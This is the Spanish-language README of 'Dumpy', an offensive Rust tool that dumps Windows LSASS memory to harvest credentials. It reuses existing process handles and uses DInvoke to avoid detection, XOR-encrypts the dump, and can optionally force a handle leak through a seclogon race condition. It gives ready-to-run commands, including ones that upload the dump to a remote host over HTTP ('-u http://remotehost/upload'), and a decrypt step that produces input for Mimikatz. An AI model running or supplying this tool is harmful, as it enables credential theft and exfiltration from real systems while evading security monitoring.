
Reutiliza manejadores abiertos para volcar LSASS dinámicamente.
Esta herramienta llama dinámicamente a MiniDumpWriteDump para volcar el contenido de la memoria de lsass. Este proceso se realiza sin abrir un nuevo identificador de proceso (process handle) hacia lsass y utilizando DInvoke_rs para dificultar la detección de su comportamiento malicioso. Para obtener un identificador de proceso válido sin llamar a OpenProcess sobre lsass, se analizan todos los identificadores de proceso del sistema mediante NtQuerySystemInformation, NtDuplicateObject, NtQueryObject y QueryFullProcessImageNameW.
Se utilizan transacciones NTFS para aplicar XOR al volcado de memoria antes de almacenarlo en disco o enviarlo a través de HTTP.
Se ha añadido soporte tanto para x86 como para x64.
Simplemente compila el código en modo release y ejecútalo:
C:\Users\User\Desktop\Dumpy\dumpy> cargo build --release
C:\Users\User\Desktop\Dumpy\dumpy\target\x86_64-pc-windows-msvc\release> dumpy.exe -h
En caso de que quieras compilar la herramienta para un sistema x86, modifica el valor de la opción "target" en el archivo .cargo\config (por ejemplo: target = "i686-pc-windows-msvc").
Usage: dumpy.exe --dump|--decrypt [options]
Options:
-h, --help Print this help menu.
--dump Dump lsass.
--decrypt Decrypt a previously generated dump file.
-f, --force Force seclogon's service to leak a lsass handle
through a race condition.
-k, --key Encryption key [default: 1234abcd]
-i, --input Encrypted dump file [default: c:\temp\input.txt]
-o, --output Destination path [default: c:\temp\output.txt]
-u, --upload Upload URL
Dumpy tiene dos acciones principales:
dump: Ejecutará la lógica principal para volcar lsass. Por defecto, almacenará el resultado en un archivo de texto con XOR y con un nombre aleatorio en el directorio actual. La opción upload permite enviar el contenido de la memoria a un host remoto a través de HTTP, evitando la creación del archivo con XOR en disco. He utilizado este sencillo servidor HTTP para gestionar la subida, pero cualquier otro servidor HTTP que soporte peticiones multipart/form-data funcionará.
C:\Temp> dumpy.exe --dump -k secretKey -u http://remotehost/upload
Si quieres forzar la fuga de un identificador de lsass a través de la condición de carrera en el servicio de seclogon descrita por Antonio Cocomazzi en esta publicación, solo tienes que usar la opción force:
C:\Temp> dumpy.exe --dump -k secretKey -u http://remotehost/upload --force
decrypt: Esta acción permite obtener el volcado de memoria descifrado en el mismo formato que herramientas como Mimikatz esperarían. Como argumentos espera el volcado de memoria con XOR, la clave de cifrado y la ruta del archivo de salida. En caso de que el archivo con XOR se haya subido mediante HTTP, es necesario realizar una decodificación base64 del contenido antes de este proceso de descifrado.
C:\Temp> dumpy.exe --decrypt -i xored.txt -o decrypted.txt -k secretKey